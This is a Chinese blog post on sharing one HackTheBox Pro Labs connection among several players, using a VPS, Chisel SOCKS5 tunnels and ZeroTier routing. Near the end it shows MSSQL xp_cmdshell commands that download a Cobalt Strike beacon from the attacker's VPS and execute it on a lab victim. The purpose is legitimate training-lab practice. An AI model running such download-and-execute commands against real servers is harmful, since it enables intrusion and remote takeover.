如何多人一起打HackTheBox

HTB pro labs限制了靶场的openvpn代理只能在一台机器上开启,
如果有第二台机器尝试连接靶场的openvpn文件,就会连接不上。那我如果要和朋友们一起打HTB pro labs要怎么办呢?

方案一、在 vps 上连接靶场,玩家登上 vps 进行游玩

最初的方案,是在 vps 连接靶场的openvpn代理,每个玩家直接登录该 vps 游玩。

但是这个方案很快就否决了,原因如下:

  1. vps 缺少GUI界面,而有些玩家比较习惯GUI界面操作
  2. 如果玩家顺势在 vps 上记录攻击线索或者安装一堆与靶场有关的工具,不同玩家之间就会互相剧透。
  3. 如果某玩家把 vps 的环境搞崩溃,如果回退环境,也会影响到其它玩家。

方案二、使用 Chisel 搭建 Socks5隧道,玩家使用 Socks5隧道进行游玩

在仔细查阅 Chisel 的官方文档之后,实现了一种通过 Chisel 代理实现多人共同游玩的方案:

chisel_collaboration_1

  1. 首先,在 vps 上启动openvpn连接靶场节点
  2. 然后,在 vps 上启动 Chisel 服务端
  3. 然后仿照单人游玩的操作,在入口机上使用 Chisel 客户端,连接 vps 上的 Chisel 服务端。
  4. 实际的操作都和单人游玩一样。成功在 VPS 和入口机之间建立了一条 Socks5 隧道。
  5. 这样所有人都可以通过设置本地socks代理,代理地址为 socks5 107.173.157.111 1080 。从而访问到靶场内部

虽然这种方案解决了多人一起玩的需求,但是前提是得有某一个人拿下入口机的权限,去入口机上架设socks5隧道。那如果想要让大家都真正的从零开始玩呢?比如从扫描靶机网段,探测入口机地址开始。

方案二点五、改进原 Chisel 搭建方案

chisel_collaboration_2

经过了一番思考,改进了一下上一版方案:

  1. 在 VPS 上,启动 Chisel 客户端,连接 VPS 上已经启动好的 Chisel 服务端
  2. 这样所有人通过设置本地 socks 代理,代理地址为 socks5 107.173.157.111 1081 。从而和靶场入口网段连通

方案三、使用Zerotire组网

虽然现在已经可以大家分别在本地,通过socks5代理访问靶场网段。但是又遇到了新的体验问题:

  1. Socks5隧道不能支持代理 ICMP 和 ARP 协议,直接导致无法使用 nmap 最快的 ICMP 扫描,入口网段的存活机器探测和开放端口扫描都会变得特别慢。

经过一番调查,采用 Zerotire 作为新一版的多人游玩方案。

  1. 在 VPS 上安装 Zerotire
  2. 在 Zerotire 控制台,设置路由转发规则 ,通过 VPS 去访问目的地址为 10.10.110.0/24 ,并为 VPS 设置 iptables 流量转发

这样所有玩家,直接加入 Zerotire 网络即可访问靶场网段。

同时,在 VPS上保留了一个 Chisel 服务端。当玩家打完入口机之后,可以使用 scp 将 Chisel 传到入口机上,
然后连接 VPS 的 Chisel 服务端启动一条socks5隧道用于后续内网穿透。和 Chisel 方案操作一致。

KALI-to-DANTE-WEB-NIX01-chisel-reverse-socks5

使用 Zerotire 方案已经解决了很大一部分的靶场稳定性和速度问题。进一步优化靶场速度,只能从 VPS 的位置考虑。

Hack The Box的总部位于英国伦敦,选择位于伦敦的 VPS 可以将 VPS 与靶场之间的通信延迟,降低到 10ms。

这时候再考虑 VPS 与国内之间的通信延迟,尽可能低即可。

原本为了实现低延迟,考虑选用CN2 GIA线路的 VPS,即从国外到国内走单独的直连线路。延迟最低,价格也最贵。是的,价格太昂贵了,只是为了用来搭建低延迟的多人协作靶场,属实是大材小用了。

然后,开始横向对比多家云服务器厂商的普通产品。最后选定了 vultr 家的伦敦节点 VPS,采用最抠门配置,1核1G。
每月6美元,并且可以用 paypal 余额支付,非常划算。

VPS 与 靶场直连的延迟平均为1.5ms:

vps-to-htb

本地 与 VPS 直连的延迟平均为170ms:

kali-to-vps

整体使用效果平均为172ms:

kali-to-htb

这样有个好处,如果还嫌本地和靶场交互操作慢,可以选择接梯子加速连上VPS,从VPS和靶场直接交互,延迟只有不到3ms。

多人情况下如何反弹shell?

由于多人一起打,本质上是通过一个公用vps将所有人的流量集体转发到HTB靶场内部,如下图:

flowchart LR
    A[player 1] --> B(vps)
    C[player 2] --> B(vps)
    D[player 3] --> B(vps)
    B(vps) -->|请求| E[HTB]
    E[HTB] -->|响应| B(vps)

所以想要反弹shell,只能反弹到vps上,并不能直接反弹到每个玩家的攻击机上。

那么有没有什么解决办法呢?

有,我们可以直接用一种更高级的“反弹shell”手段,即使用C2工具。

既然能反弹shell,说明一定能执行命令,那么就可以通过执行命令,下载C2工具的beacon然后直接将受害机上线。

以 CobaltStrike 为例,在 vps 上启动 CobaltStrike 的 teamserver

202410251157628

反弹shell 以 mssql 的 xp_cmdshell 为例,首先生成一个 CS 的 beacon,然后用python启动一个临时的web服务,使用 xp_cmdshell 下载 beacon 并执行

1
2
exec xp_cmdshell 'powershell.exe wget http://vps-ip:8000/cs.exe -OutFile C:\\Users\Public\\cs.exe'
exec xp_cmdshell 'C:\\Users\Public\\cs.exe'

这样每个玩家就可以在自己的攻击机上面,连接 teamserver 去控制受害机了。

注:如果想要让每个玩家之间互不剧透或者走捷径,即A玩家上线了一台受害主机之后,不想让B玩家直接操控这台主机(想让B玩家自己从头完整打一遍),可以找一个有权限分级的C2工具来用。